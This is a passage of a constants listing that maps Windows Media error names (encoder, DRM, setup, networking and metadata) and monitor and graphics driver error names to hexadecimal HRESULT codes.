NS_E_NO_REPEAT_PREPROCESS = 0xC00D1B8D
NS_E_CANNOT_PAUSE_LIVEBROADCAST = 0xC00D1B8E
NS_E_DRM_PROFILE_NOT_SET = 0xC00D1B8F
NS_E_DUPLICATE_DRMPROFILE = 0xC00D1B90
NS_E_INVALID_DEVICE = 0xC00D1B91
NS_E_SPEECHEDL_ON_NON_MIXEDMODE = 0xC00D1B92
NS_E_DRM_PASSWORD_TOO_LONG = 0xC00D1B93
NS_E_DEVCONTROL_FAILED_SEEK = 0xC00D1B94
NS_E_INTERLACE_REQUIRE_SAMESIZE = 0xC00D1B95
NS_E_TOO_MANY_DEVICECONTROL = 0xC00D1B96
NS_E_NO_MULTIPASS_FOR_LIVEDEVICE = 0xC00D1B97
NS_E_MISSING_AUDIENCE = 0xC00D1B98
NS_E_AUDIENCE_CONTENTTYPE_MISMATCH = 0xC00D1B99
NS_E_MISSING_SOURCE_INDEX = 0xC00D1B9A
NS_E_NUM_LANGUAGE_MISMATCH = 0xC00D1B9B
NS_E_LANGUAGE_MISMATCH = 0xC00D1B9C
NS_E_VBRMODE_MISMATCH = 0xC00D1B9D
NS_E_INVALID_INPUT_AUDIENCE_INDEX = 0xC00D1B9E
NS_E_INVALID_INPUT_LANGUAGE = 0xC00D1B9F
NS_E_INVALID_INPUT_STREAM = 0xC00D1BA0
NS_E_EXPECT_MONO_WAV_INPUT = 0xC00D1BA1
NS_E_INPUT_WAVFORMAT_MISMATCH = 0xC00D1BA2
NS_E_RECORDQ_DISK_FULL = 0xC00D1BA3
NS_E_NO_PAL_INVERSE_TELECINE = 0xC00D1BA4
NS_E_ACTIVE_SG_DEVICE_DISCONNECTED = 0xC00D1BA5
NS_E_ACTIVE_SG_DEVICE_CONTROL_DISCONNECTED = 0xC00D1BA6
NS_E_NO_FRAMES_SUBMITTED_TO_ANALYZER = 0xC00D1BA7
NS_E_INPUT_DOESNOT_SUPPORT_SMPTE = 0xC00D1BA8
NS_E_NO_SMPTE_WITH_MULTIPLE_SOURCEGROUPS = 0xC00D1BA9
NS_E_BAD_CONTENTEDL = 0xC00D1BAA
NS_E_INTERLACEMODE_MISMATCH = 0xC00D1BAB
NS_E_NONSQUAREPIXELMODE_MISMATCH = 0xC00D1BAC
NS_E_SMPTEMODE_MISMATCH = 0xC00D1BAD
NS_E_END_OF_TAPE = 0xC00D1BAE
NS_E_NO_MEDIA_IN_AUDIENCE = 0xC00D1BAF
NS_E_NO_AUDIENCES = 0xC00D1BB0
NS_E_NO_AUDIO_COMPAT = 0xC00D1BB1
NS_E_INVALID_VBR_COMPAT = 0xC00D1BB2
NS_E_NO_PROFILE_NAME = 0xC00D1BB3
NS_E_INVALID_VBR_WITH_UNCOMP = 0xC00D1BB4
NS_E_MULTIPLE_VBR_AUDIENCES = 0xC00D1BB5
NS_E_UNCOMP_COMP_COMBINATION = 0xC00D1BB6
NS_E_MULTIPLE_AUDIO_CODECS = 0xC00D1BB7
NS_E_MULTIPLE_AUDIO_FORMATS = 0xC00D1BB8
NS_E_AUDIO_BITRATE_STEPDOWN = 0xC00D1BB9
NS_E_INVALID_AUDIO_PEAKRATE = 0xC00D1BBA
NS_E_INVALID_AUDIO_PEAKRATE_2 = 0xC00D1BBB
NS_E_INVALID_AUDIO_BUFFERMAX = 0xC00D1BBC
NS_E_MULTIPLE_VIDEO_CODECS = 0xC00D1BBD
NS_E_MULTIPLE_VIDEO_SIZES = 0xC00D1BBE
NS_E_INVALID_VIDEO_BITRATE = 0xC00D1BBF
NS_E_VIDEO_BITRATE_STEPDOWN = 0xC00D1BC0
NS_E_INVALID_VIDEO_PEAKRATE = 0xC00D1BC1
NS_E_INVALID_VIDEO_PEAKRATE_2 = 0xC00D1BC2
NS_E_INVALID_VIDEO_WIDTH = 0xC00D1BC3
NS_E_INVALID_VIDEO_HEIGHT = 0xC00D1BC4
NS_E_INVALID_VIDEO_FPS = 0xC00D1BC5
NS_E_INVALID_VIDEO_KEYFRAME = 0xC00D1BC6
NS_E_INVALID_VIDEO_IQUALITY = 0xC00D1BC7
NS_E_INVALID_VIDEO_CQUALITY = 0xC00D1BC8
NS_E_INVALID_VIDEO_BUFFER = 0xC00D1BC9
NS_E_INVALID_VIDEO_BUFFERMAX = 0xC00D1BCA
NS_E_INVALID_VIDEO_BUFFERMAX_2 = 0xC00D1BCB
NS_E_INVALID_VIDEO_WIDTH_ALIGN = 0xC00D1BCC
NS_E_INVALID_VIDEO_HEIGHT_ALIGN = 0xC00D1BCD
NS_E_MULTIPLE_SCRIPT_BITRATES = 0xC00D1BCE
NS_E_INVALID_SCRIPT_BITRATE = 0xC00D1BCF
NS_E_MULTIPLE_FILE_BITRATES = 0xC00D1BD0
NS_E_INVALID_FILE_BITRATE = 0xC00D1BD1
NS_E_SAME_AS_INPUT_COMBINATION = 0xC00D1BD2
NS_E_SOURCE_CANNOT_LOOP = 0xC00D1BD3
NS_E_INVALID_FOLDDOWN_COEFFICIENTS = 0xC00D1BD4
NS_E_DRMPROFILE_NOTFOUND = 0xC00D1BD5
NS_E_INVALID_TIMECODE = 0xC00D1BD6
NS_E_NO_AUDIO_TIMECOMPRESSION = 0xC00D1BD7
NS_E_NO_TWOPASS_TIMECOMPRESSION = 0xC00D1BD8
NS_E_TIMECODE_REQUIRES_VIDEOSTREAM = 0xC00D1BD9
NS_E_NO_MBR_WITH_TIMECODE = 0xC00D1BDA
NS_E_INVALID_INTERLACEMODE = 0xC00D1BDB
NS_E_INVALID_INTERLACE_COMPAT = 0xC00D1BDC
NS_E_INVALID_NONSQUAREPIXEL_COMPAT = 0xC00D1BDD
NS_E_INVALID_SOURCE_WITH_DEVICE_CONTROL = 0xC00D1BDE
NS_E_CANNOT_GENERATE_BROADCAST_INFO_FOR_QUALITYVBR = 0xC00D1BDF
NS_E_EXCEED_MAX_DRM_PROFILE_LIMIT = 0xC00D1BE0
NS_E_DEVICECONTROL_UNSTABLE = 0xC00D1BE1
NS_E_INVALID_PIXEL_ASPECT_RATIO = 0xC00D1BE2
NS_E_AUDIENCE__LANGUAGE_CONTENTTYPE_MISMATCH = 0xC00D1BE3
NS_E_INVALID_PROFILE_CONTENTTYPE = 0xC00D1BE4
NS_E_TRANSFORM_PLUGIN_NOT_FOUND = 0xC00D1BE5
NS_E_TRANSFORM_PLUGIN_INVALID = 0xC00D1BE6
NS_E_EDL_REQUIRED_FOR_DEVICE_MULTIPASS = 0xC00D1BE7
NS_E_INVALID_VIDEO_WIDTH_FOR_INTERLACED_ENCODING = 0xC00D1BE8
NS_E_MARKIN_UNSUPPORTED = 0xC00D1BE9
NS_E_DRM_INVALID_APPLICATION = 0xC00D2711
NS_E_DRM_LICENSE_STORE_ERROR = 0xC00D2712
NS_E_DRM_SECURE_STORE_ERROR = 0xC00D2713
NS_E_DRM_LICENSE_STORE_SAVE_ERROR = 0xC00D2714
NS_E_DRM_SECURE_STORE_UNLOCK_ERROR = 0xC00D2715
NS_E_DRM_INVALID_CONTENT = 0xC00D2716
NS_E_DRM_UNABLE_TO_OPEN_LICENSE = 0xC00D2717
NS_E_DRM_INVALID_LICENSE = 0xC00D2718
NS_E_DRM_INVALID_MACHINE = 0xC00D2719
NS_E_DRM_ENUM_LICENSE_FAILED = 0xC00D271B
NS_E_DRM_INVALID_LICENSE_REQUEST = 0xC00D271C
NS_E_DRM_UNABLE_TO_INITIALIZE = 0xC00D271D
NS_E_DRM_UNABLE_TO_ACQUIRE_LICENSE = 0xC00D271E
NS_E_DRM_INVALID_LICENSE_ACQUIRED = 0xC00D271F
NS_E_DRM_NO_RIGHTS = 0xC00D2720
NS_E_DRM_KEY_ERROR = 0xC00D2721
NS_E_DRM_ENCRYPT_ERROR = 0xC00D2722
NS_E_DRM_DECRYPT_ERROR = 0xC00D2723
NS_E_DRM_LICENSE_INVALID_XML = 0xC00D2725
NS_E_DRM_NEEDS_INDIVIDUALIZATION = 0xC00D2728
NS_E_DRM_ALREADY_INDIVIDUALIZED = 0xC00D2729
NS_E_DRM_ACTION_NOT_QUERIED = 0xC00D272A
NS_E_DRM_ACQUIRING_LICENSE = 0xC00D272B
NS_E_DRM_INDIVIDUALIZING = 0xC00D272C
NS_E_BACKUP_RESTORE_FAILURE = 0xC00D272D
NS_E_BACKUP_RESTORE_BAD_REQUEST_ID = 0xC00D272E
NS_E_DRM_PARAMETERS_MISMATCHED = 0xC00D272F
NS_E_DRM_UNABLE_TO_CREATE_LICENSE_OBJECT = 0xC00D2730
NS_E_DRM_UNABLE_TO_CREATE_INDI_OBJECT = 0xC00D2731
NS_E_DRM_UNABLE_TO_CREATE_ENCRYPT_OBJECT = 0xC00D2732
NS_E_DRM_UNABLE_TO_CREATE_DECRYPT_OBJECT = 0xC00D2733
NS_E_DRM_UNABLE_TO_CREATE_PROPERTIES_OBJECT = 0xC00D2734
NS_E_DRM_UNABLE_TO_CREATE_BACKUP_OBJECT = 0xC00D2735
NS_E_DRM_INDIVIDUALIZE_ERROR = 0xC00D2736
NS_E_DRM_LICENSE_OPEN_ERROR = 0xC00D2737
NS_E_DRM_LICENSE_CLOSE_ERROR = 0xC00D2738
NS_E_DRM_GET_LICENSE_ERROR = 0xC00D2739
NS_E_DRM_QUERY_ERROR = 0xC00D273A
NS_E_DRM_REPORT_ERROR = 0xC00D273B
NS_E_DRM_GET_LICENSESTRING_ERROR = 0xC00D273C
NS_E_DRM_GET_CONTENTSTRING_ERROR = 0xC00D273D
NS_E_DRM_MONITOR_ERROR = 0xC00D273E
NS_E_DRM_UNABLE_TO_SET_PARAMETER = 0xC00D273F
NS_E_DRM_INVALID_APPDATA = 0xC00D2740
NS_E_DRM_INVALID_APPDATA_VERSION = 0xC00D2741
NS_E_DRM_BACKUP_EXISTS = 0xC00D2742
NS_E_DRM_BACKUP_CORRUPT = 0xC00D2743
NS_E_DRM_BACKUPRESTORE_BUSY = 0xC00D2744
NS_E_BACKUP_RESTORE_BAD_DATA = 0xC00D2745
NS_E_DRM_LICENSE_UNUSABLE = 0xC00D2748
NS_E_DRM_INVALID_PROPERTY = 0xC00D2749
NS_E_DRM_SECURE_STORE_NOT_FOUND = 0xC00D274A
NS_E_DRM_CACHED_CONTENT_ERROR = 0xC00D274B
NS_E_DRM_INDIVIDUALIZATION_INCOMPLETE = 0xC00D274C
NS_E_DRM_DRIVER_AUTH_FAILURE = 0xC00D274D
NS_E_DRM_NEED_UPGRADE_MSSAP = 0xC00D274E
NS_E_DRM_REOPEN_CONTENT = 0xC00D274F
NS_E_DRM_DRIVER_DIGIOUT_FAILURE = 0xC00D2750
NS_E_DRM_INVALID_SECURESTORE_PASSWORD = 0xC00D2751
NS_E_DRM_APPCERT_REVOKED = 0xC00D2752
NS_E_DRM_RESTORE_FRAUD = 0xC00D2753
NS_E_DRM_HARDWARE_INCONSISTENT = 0xC00D2754
NS_E_DRM_SDMI_TRIGGER = 0xC00D2755
NS_E_DRM_SDMI_NOMORECOPIES = 0xC00D2756
NS_E_DRM_UNABLE_TO_CREATE_HEADER_OBJECT = 0xC00D2757
NS_E_DRM_UNABLE_TO_CREATE_KEYS_OBJECT = 0xC00D2758
NS_E_DRM_LICENSE_NOTACQUIRED = 0xC00D2759
NS_E_DRM_UNABLE_TO_CREATE_CODING_OBJECT = 0xC00D275A
NS_E_DRM_UNABLE_TO_CREATE_STATE_DATA_OBJECT = 0xC00D275B
NS_E_DRM_BUFFER_TOO_SMALL = 0xC00D275C
NS_E_DRM_UNSUPPORTED_PROPERTY = 0xC00D275D
NS_E_DRM_ERROR_BAD_NET_RESP = 0xC00D275E
NS_E_DRM_STORE_NOTALLSTORED = 0xC00D275F
NS_E_DRM_SECURITY_COMPONENT_SIGNATURE_INVALID = 0xC00D2760
NS_E_DRM_INVALID_DATA = 0xC00D2761
NS_E_DRM_POLICY_DISABLE_ONLINE = 0xC00D2762
NS_E_DRM_UNABLE_TO_CREATE_AUTHENTICATION_OBJECT = 0xC00D2763
NS_E_DRM_NOT_CONFIGURED = 0xC00D2764
NS_E_DRM_DEVICE_ACTIVATION_CANCELED = 0xC00D2765
NS_E_BACKUP_RESTORE_TOO_MANY_RESETS = 0xC00D2766
NS_E_DRM_DEBUGGING_NOT_ALLOWED = 0xC00D2767
NS_E_DRM_OPERATION_CANCELED = 0xC00D2768
NS_E_DRM_RESTRICTIONS_NOT_RETRIEVED = 0xC00D2769
NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_OBJECT = 0xC00D276A
NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_BURN_OBJECT = 0xC00D276B
NS_E_DRM_UNABLE_TO_CREATE_DEVICE_REGISTRATION_OBJECT = 0xC00D276C
NS_E_DRM_UNABLE_TO_CREATE_METERING_OBJECT = 0xC00D276D
NS_E_DRM_TRACK_EXCEEDED_PLAYLIST_RESTICTION = 0xC00D2770
NS_E_DRM_TRACK_EXCEEDED_TRACKBURN_RESTRICTION = 0xC00D2771
NS_E_DRM_UNABLE_TO_GET_DEVICE_CERT = 0xC00D2772
NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK = 0xC00D2773
NS_E_DRM_UNABLE_TO_SET_SECURE_CLOCK = 0xC00D2774
NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK_FROM_SERVER = 0xC00D2775
NS_E_DRM_POLICY_METERING_DISABLED = 0xC00D2776
NS_E_DRM_TRANSFER_CHAINED_LICENSES_UNSUPPORTED = 0xC00D2777
NS_E_DRM_SDK_VERSIONMISMATCH = 0xC00D2778
NS_E_DRM_LIC_NEEDS_DEVICE_CLOCK_SET = 0xC00D2779
NS_E_LICENSE_HEADER_MISSING_URL = 0xC00D277A
NS_E_DEVICE_NOT_WMDRM_DEVICE = 0xC00D277B
NS_E_DRM_INVALID_APPCERT = 0xC00D277C
NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_PETITION = 0xC00D277D
NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_CHALLENGE = 0xC00D277E
NS_E_DRM_CHECKPOINT_FAILED = 0xC00D277F
NS_E_DRM_BB_UNABLE_TO_INITIALIZE = 0xC00D2780
NS_E_DRM_UNABLE_TO_LOAD_HARDWARE_ID = 0xC00D2781
NS_E_DRM_UNABLE_TO_OPEN_DATA_STORE = 0xC00D2782
NS_E_DRM_DATASTORE_CORRUPT = 0xC00D2783
NS_E_DRM_UNABLE_TO_CREATE_INMEMORYSTORE_OBJECT = 0xC00D2784
NS_E_DRM_STUBLIB_REQUIRED = 0xC00D2785
NS_E_DRM_UNABLE_TO_CREATE_CERTIFICATE_OBJECT = 0xC00D2786
NS_E_DRM_MIGRATION_TARGET_NOT_ONLINE = 0xC00D2787
NS_E_DRM_INVALID_MIGRATION_IMAGE = 0xC00D2788
NS_E_DRM_MIGRATION_TARGET_STATES_CORRUPTED = 0xC00D2789
NS_E_DRM_MIGRATION_IMPORTER_NOT_AVAILABLE = 0xC00D278A
NS_DRM_E_MIGRATION_UPGRADE_WITH_DIFF_SID = 0xC00D278B
NS_DRM_E_MIGRATION_SOURCE_MACHINE_IN_USE = 0xC00D278C
NS_DRM_E_MIGRATION_TARGET_MACHINE_LESS_THAN_LH = 0xC00D278D
NS_DRM_E_MIGRATION_IMAGE_ALREADY_EXISTS = 0xC00D278E
NS_E_DRM_HARDWAREID_MISMATCH = 0xC00D278F
NS_E_INVALID_DRMV2CLT_STUBLIB = 0xC00D2790
NS_E_DRM_MIGRATION_INVALID_LEGACYV2_DATA = 0xC00D2791
NS_E_DRM_MIGRATION_LICENSE_ALREADY_EXISTS = 0xC00D2792
NS_E_DRM_MIGRATION_INVALID_LEGACYV2_SST_PASSWORD = 0xC00D2793
NS_E_DRM_MIGRATION_NOT_SUPPORTED = 0xC00D2794
NS_E_DRM_UNABLE_TO_CREATE_MIGRATION_IMPORTER_OBJECT = 0xC00D2795
NS_E_DRM_CHECKPOINT_MISMATCH = 0xC00D2796
NS_E_DRM_CHECKPOINT_CORRUPT = 0xC00D2797
NS_E_REG_FLUSH_FAILURE = 0xC00D2798
NS_E_HDS_KEY_MISMATCH = 0xC00D2799
NS_E_DRM_MIGRATION_OPERATION_CANCELLED = 0xC00D279A
NS_E_DRM_MIGRATION_OBJECT_IN_USE = 0xC00D279B
NS_E_DRM_MALFORMED_CONTENT_HEADER = 0xC00D279C
NS_E_DRM_LICENSE_EXPIRED = 0xC00D27D8
NS_E_DRM_LICENSE_NOTENABLED = 0xC00D27D9
NS_E_DRM_LICENSE_APPSECLOW = 0xC00D27DA
NS_E_DRM_STORE_NEEDINDI = 0xC00D27DB
NS_E_DRM_STORE_NOTALLOWED = 0xC00D27DC
NS_E_DRM_LICENSE_APP_NOTALLOWED = 0xC00D27DD
NS_E_DRM_LICENSE_CERT_EXPIRED = 0xC00D27DF
NS_E_DRM_LICENSE_SECLOW = 0xC00D27E0
NS_E_DRM_LICENSE_CONTENT_REVOKED = 0xC00D27E1
NS_E_DRM_DEVICE_NOT_REGISTERED = 0xC00D27E2
NS_E_DRM_LICENSE_NOSAP = 0xC00D280A
NS_E_DRM_LICENSE_NOSVP = 0xC00D280B
NS_E_DRM_LICENSE_NOWDM = 0xC00D280C
NS_E_DRM_LICENSE_NOTRUSTEDCODEC = 0xC00D280D
NS_E_DRM_SOURCEID_NOT_SUPPORTED = 0xC00D280E
NS_E_DRM_NEEDS_UPGRADE_TEMPFILE = 0xC00D283D
NS_E_DRM_NEED_UPGRADE_PD = 0xC00D283E
NS_E_DRM_SIGNATURE_FAILURE = 0xC00D283F
NS_E_DRM_LICENSE_SERVER_INFO_MISSING = 0xC00D2840
NS_E_DRM_BUSY = 0xC00D2841
NS_E_DRM_PD_TOO_MANY_DEVICES = 0xC00D2842
NS_E_DRM_INDIV_FRAUD = 0xC00D2843
NS_E_DRM_INDIV_NO_CABS = 0xC00D2844
NS_E_DRM_INDIV_SERVICE_UNAVAILABLE = 0xC00D2845
NS_E_DRM_RESTORE_SERVICE_UNAVAILABLE = 0xC00D2846
NS_E_DRM_CLIENT_CODE_EXPIRED = 0xC00D2847
NS_E_DRM_NO_UPLINK_LICENSE = 0xC00D2848
NS_E_DRM_INVALID_KID = 0xC00D2849
NS_E_DRM_LICENSE_INITIALIZATION_ERROR = 0xC00D284A
NS_E_DRM_CHAIN_TOO_LONG = 0xC00D284C
NS_E_DRM_UNSUPPORTED_ALGORITHM = 0xC00D284D
NS_E_DRM_LICENSE_DELETION_ERROR = 0xC00D284E
NS_E_DRM_INVALID_CERTIFICATE = 0xC00D28A0
NS_E_DRM_CERTIFICATE_REVOKED = 0xC00D28A1
NS_E_DRM_LICENSE_UNAVAILABLE = 0xC00D28A2
NS_E_DRM_DEVICE_LIMIT_REACHED = 0xC00D28A3
NS_E_DRM_UNABLE_TO_VERIFY_PROXIMITY = 0xC00D28A4
NS_E_DRM_MUST_REGISTER = 0xC00D28A5
NS_E_DRM_MUST_APPROVE = 0xC00D28A6
NS_E_DRM_MUST_REVALIDATE = 0xC00D28A7
NS_E_DRM_INVALID_PROXIMITY_RESPONSE = 0xC00D28A8
NS_E_DRM_INVALID_SESSION = 0xC00D28A9
NS_E_DRM_DEVICE_NOT_OPEN = 0xC00D28AA
NS_E_DRM_DEVICE_ALREADY_REGISTERED = 0xC00D28AB
NS_E_DRM_UNSUPPORTED_PROTOCOL_VERSION = 0xC00D28AC
NS_E_DRM_UNSUPPORTED_ACTION = 0xC00D28AD
NS_E_DRM_CERTIFICATE_SECURITY_LEVEL_INADEQUATE = 0xC00D28AE
NS_E_DRM_UNABLE_TO_OPEN_PORT = 0xC00D28AF
NS_E_DRM_BAD_REQUEST = 0xC00D28B0
NS_E_DRM_INVALID_CRL = 0xC00D28B1
NS_E_DRM_ATTRIBUTE_TOO_LONG = 0xC00D28B2
NS_E_DRM_EXPIRED_LICENSEBLOB = 0xC00D28B3
NS_E_DRM_INVALID_LICENSEBLOB = 0xC00D28B4
NS_E_DRM_INCLUSION_LIST_REQUIRED = 0xC00D28B5
NS_E_DRM_DRMV2CLT_REVOKED = 0xC00D28B6
NS_E_DRM_RIV_TOO_SMALL = 0xC00D28B7
NS_E_OUTPUT_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2904
NS_E_COMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2905
NS_E_UNCOMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2906
NS_E_ANALOG_VIDEO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2907
NS_E_COMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2908
NS_E_UNCOMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2909
NS_E_OUTPUT_PROTECTION_SCHEME_UNSUPPORTED = 0xC00D290A
NS_E_REBOOT_RECOMMENDED = 0xC00D2AFA
NS_E_REBOOT_REQUIRED = 0xC00D2AFB
NS_E_SETUP_INCOMPLETE = 0xC00D2AFC
NS_E_SETUP_DRM_MIGRATION_FAILED = 0xC00D2AFD
NS_E_SETUP_IGNORABLE_FAILURE = 0xC00D2AFE
NS_E_SETUP_DRM_MIGRATION_FAILED_AND_IGNORABLE_FAILURE = 0xC00D2AFF
NS_E_SETUP_BLOCKED = 0xC00D2B00
NS_E_UNKNOWN_PROTOCOL = 0xC00D2EE0
NS_E_REDIRECT_TO_PROXY = 0xC00D2EE1
NS_E_INTERNAL_SERVER_ERROR = 0xC00D2EE2
NS_E_BAD_REQUEST = 0xC00D2EE3
NS_E_ERROR_FROM_PROXY = 0xC00D2EE4
NS_E_PROXY_TIMEOUT = 0xC00D2EE5
NS_E_SERVER_UNAVAILABLE = 0xC00D2EE6
NS_E_REFUSED_BY_SERVER = 0xC00D2EE7
NS_E_INCOMPATIBLE_SERVER = 0xC00D2EE8
NS_E_MULTICAST_DISABLED = 0xC00D2EE9
NS_E_INVALID_REDIRECT = 0xC00D2EEA
NS_E_ALL_PROTOCOLS_DISABLED = 0xC00D2EEB
NS_E_MSBD_NO_LONGER_SUPPORTED = 0xC00D2EEC
NS_E_PROXY_NOT_FOUND = 0xC00D2EED
NS_E_CANNOT_CONNECT_TO_PROXY = 0xC00D2EEE
NS_E_SERVER_DNS_TIMEOUT = 0xC00D2EEF
NS_E_PROXY_DNS_TIMEOUT = 0xC00D2EF0
NS_E_CLOSED_ON_SUSPEND = 0xC00D2EF1
NS_E_CANNOT_READ_PLAYLIST_FROM_MEDIASERVER = 0xC00D2EF2
NS_E_SESSION_NOT_FOUND = 0xC00D2EF3
NS_E_REQUIRE_STREAMING_CLIENT = 0xC00D2EF4
NS_E_PLAYLIST_ENTRY_HAS_CHANGED = 0xC00D2EF5
NS_E_PROXY_ACCESSDENIED = 0xC00D2EF6
NS_E_PROXY_SOURCE_ACCESSDENIED = 0xC00D2EF7
NS_E_NETWORK_SINK_WRITE = 0xC00D2EF8
NS_E_FIREWALL = 0xC00D2EF9
NS_E_MMS_NOT_SUPPORTED = 0xC00D2EFA
NS_E_SERVER_ACCESSDENIED = 0xC00D2EFB
NS_E_RESOURCE_GONE = 0xC00D2EFC
NS_E_NO_EXISTING_PACKETIZER = 0xC00D2EFD
NS_E_BAD_SYNTAX_IN_SERVER_RESPONSE = 0xC00D2EFE
NS_E_RESET_SOCKET_CONNECTION = 0xC00D2F00
NS_E_TOO_MANY_HOPS = 0xC00D2F02
NS_E_TOO_MUCH_DATA_FROM_SERVER = 0xC00D2F05
NS_E_CONNECT_TIMEOUT = 0xC00D2F06
NS_E_PROXY_CONNECT_TIMEOUT = 0xC00D2F07
NS_E_SESSION_INVALID = 0xC00D2F08
NS_E_PACKETSINK_UNKNOWN_FEC_STREAM = 0xC00D2F0A
NS_E_PUSH_CANNOTCONNECT = 0xC00D2F0B
NS_E_INCOMPATIBLE_PUSH_SERVER = 0xC00D2F0C
NS_E_END_OF_PLAYLIST = 0xC00D32C8
NS_E_USE_FILE_SOURCE = 0xC00D32C9
NS_E_PROPERTY_NOT_FOUND = 0xC00D32CA
NS_E_PROPERTY_READ_ONLY = 0xC00D32CC
NS_E_TABLE_KEY_NOT_FOUND = 0xC00D32CD
NS_E_INVALID_QUERY_OPERATOR = 0xC00D32CF
NS_E_INVALID_QUERY_PROPERTY = 0xC00D32D0
NS_E_PROPERTY_NOT_SUPPORTED = 0xC00D32D2
NS_E_SCHEMA_CLASSIFY_FAILURE = 0xC00D32D4
NS_E_METADATA_FORMAT_NOT_SUPPORTED = 0xC00D32D5
NS_E_METADATA_NO_EDITING_CAPABILITY = 0xC00D32D6
NS_E_METADATA_CANNOT_SET_LOCALE = 0xC00D32D7
NS_E_METADATA_LANGUAGE_NOT_SUPORTED = 0xC00D32D8
NS_E_METADATA_NO_RFC1766_NAME_FOR_LOCALE = 0xC00D32D9
NS_E_METADATA_NOT_AVAILABLE = 0xC00D32DA
NS_E_METADATA_CACHE_DATA_NOT_AVAILABLE = 0xC00D32DB
NS_E_METADATA_INVALID_DOCUMENT_TYPE = 0xC00D32DC
NS_E_METADATA_IDENTIFIER_NOT_AVAILABLE = 0xC00D32DD
NS_E_METADATA_CANNOT_RETRIEVE_FROM_OFFLINE_CACHE = 0xC00D32DE
ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM = 0xC0261003
ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK = 0xC0261004
ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED = 0xC0261005
ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK = 0xC0261006
ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK = 0xC0261007
ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA = 0xC0261008
ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK = 0xC0261009
ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER = 0xC0262000
ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER = 0xC0262001
ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER = 0xC0262002
ERROR_GRAPHICS_ADAPTER_WAS_RESET = 0xC0262003
ERROR_GRAPHICS_INVALID_DRIVER_MODEL = 0xC0262004
ERROR_GRAPHICS_PRESENT_MODE_CHANGED = 0xC0262005
ERROR_GRAPHICS_PRESENT_OCCLUDED = 0xC0262006
ERROR_GRAPHICS_PRESENT_DENIED = 0xC0262007
ERROR_GRAPHICS_CANNOTCOLORCONVERT = 0xC0262008
ERROR_GRAPHICS_NO_VIDEO_MEMORY = 0xC0262100
ERROR_GRAPHICS_CANT_LOCK_MEMORY = 0xC0262101
ERROR_GRAPHICS_ALLOCATION_BUSY = 0xC0262102
ERROR_GRAPHICS_TOO_MANY_REFERENCES = 0xC0262103
ERROR_GRAPHICS_TRY_AGAIN_LATER = 0xC0262104
ERROR_GRAPHICS_TRY_AGAIN_NOW = 0xC0262105
ERROR_GRAPHICS_ALLOCATION_INVALID = 0xC0262106
ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE = 0xC0262107
ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED = 0xC0262108
ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION = 0xC0262109
ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE = 0xC0262110
ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION = 0xC0262111
ERROR_GRAPHICS_ALLOCATION_CLOSED = 0xC0262112
ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE = 0xC0262113
ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE = 0xC0262114
ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE = 0xC0262115
ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST = 0xC0262116
ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE = 0xC0262200
ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY = 0xC0262300
ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED = 0xC0262301
ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED = 0xC0262302
ERROR_GRAPHICS_INVALID_VIDPN = 0xC0262303
ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE = 0xC0262304
ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET = 0xC0262305
ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED = 0xC0262306
ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET = 0xC0262308
ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET = 0xC0262309
ERROR_GRAPHICS_INVALID_FREQUENCY = 0xC026230A
ERROR_GRAPHICS_INVALID_ACTIVE_REGION = 0xC026230B
ERROR_GRAPHICS_INVALID_TOTAL_REGION = 0xC026230C
ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE = 0xC0262310
ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE = 0xC0262311
ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET = 0xC0262312
ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY = 0xC0262313
ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET = 0xC0262314
ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET = 0xC0262315
ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET = 0xC0262316
ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET = 0xC0262317
ERROR_GRAPHICS_TARGET_ALREADY_IN_SET = 0xC0262318
ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH = 0xC0262319
